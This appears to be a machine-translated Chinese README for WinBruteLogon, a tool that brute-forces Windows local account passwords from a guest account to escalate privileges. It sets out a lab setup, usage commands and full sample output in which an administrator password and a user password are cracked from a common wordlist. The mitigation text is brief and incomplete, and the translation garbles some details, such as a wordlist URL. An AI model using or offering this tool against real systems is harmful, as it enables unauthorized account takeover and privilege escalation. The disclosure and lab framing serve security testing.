注意1:我们很高兴地宣布,我们当前的工具已移植到PowerShell版本。这意味着用户现在可以直接从PowerShell命令行访问和使用该工具,从而使其更加方便和有效。我们认为,这个新版本将极大地使我们的用户受益,并通过工具增强他们的体验。感谢您的持续支持,希望您喜欢新的PowerShell版本:https://github.com/darkcodersc/power-brute-logon
注意2:我们最近了解到,Microsoft默认情况下启用了现代和最新版本Windows的帐户锁定策略。此策略通过在一定数量的登录尝试失败后锁定帐户来帮助确保系统。尽管这是一项有益的安全措施,但它使概念验证(POC)在这些系统上效率低下。
发布日期: 2020-05-14
目标:Windows XP到最新的Windows 10版本(1909)
弱点位置: LogonUserA , LogonUserW , CreateProcessWithLogonA , CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute登录旨在通过在短时间内猜测大量密码组合来模拟对Microsoft帐户的蛮力攻击。这使申人能够测试其系统的安全姿势,并评估他们针对蛮力攻击的防御能力。该工具利用缺乏帐户锁定机制,这在许多系统中是一个常见的弱点(在Windows 11默认启用帐户锁定之前)。通过尝试猜测帐户的密码,该工具可以帮助申诉人在其安全措施中识别和解决漏洞。它应负责任地在法律的范围内使用。
为此,我们将在虚拟或物理机器上设置Windows 10的新版本。设置机器后,将其作为管理员登录。接下来,创建两个不同的本地帐户:一个管理员帐户和一个常规用户帐户。请注意,尽管我们将使用演示的来宾帐户,但此概念证明(POC)不限于访客帐户。它可以从任何帐户或组中使用,包括来宾,常规用户和管理用户。
net user darkcodersc /add
net user darkcodersc trousers (裤子是密码)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm是密码)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
在我的情况下, trousers和ozlq6qwm都在秘书中:https://github.com/danielmiessler/seclists/seclists/blob/master/master/passwords/common-credentials/10k-most-common.txt
要开始演示,请从管理员帐户注销或重新启动机器并登录到访客帐户。然后,将POC可执行文件放置在您作为来宾用户访问的位置。
用法: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v是可选的,它设计了详细模式。
默认情况下,域名是由%USERDOMAIN% env var指定的值。您可以指定带有选项-d的自定义名称
darkcodersc (管理员)提示(访客)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
等待几秒钟查看以下结果:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (常规用户)提示(访客)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
等待几秒钟查看以下结果:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
“在现实情况下,如果攻击者获得对低特权用户帐户的访问权限,他们可能会破解更特权用户的密码并升级其特权。为了减轻这种风险,可以采取一些步骤:
要实现安全锁定策略(默认情况下未启用),请按照以下步骤:
请注意,锁定策略不适用于管理员帐户。在这种情况下,管理员帐户的最佳保护(如果启用)是设置一个非常复杂的密码。
详细介绍此弱点的报告已发送给Microsoft Security Team。他们应考虑默认情况下启用帐户锁定策略。”
(更新2022):默认情况下,帐户锁定最终启用。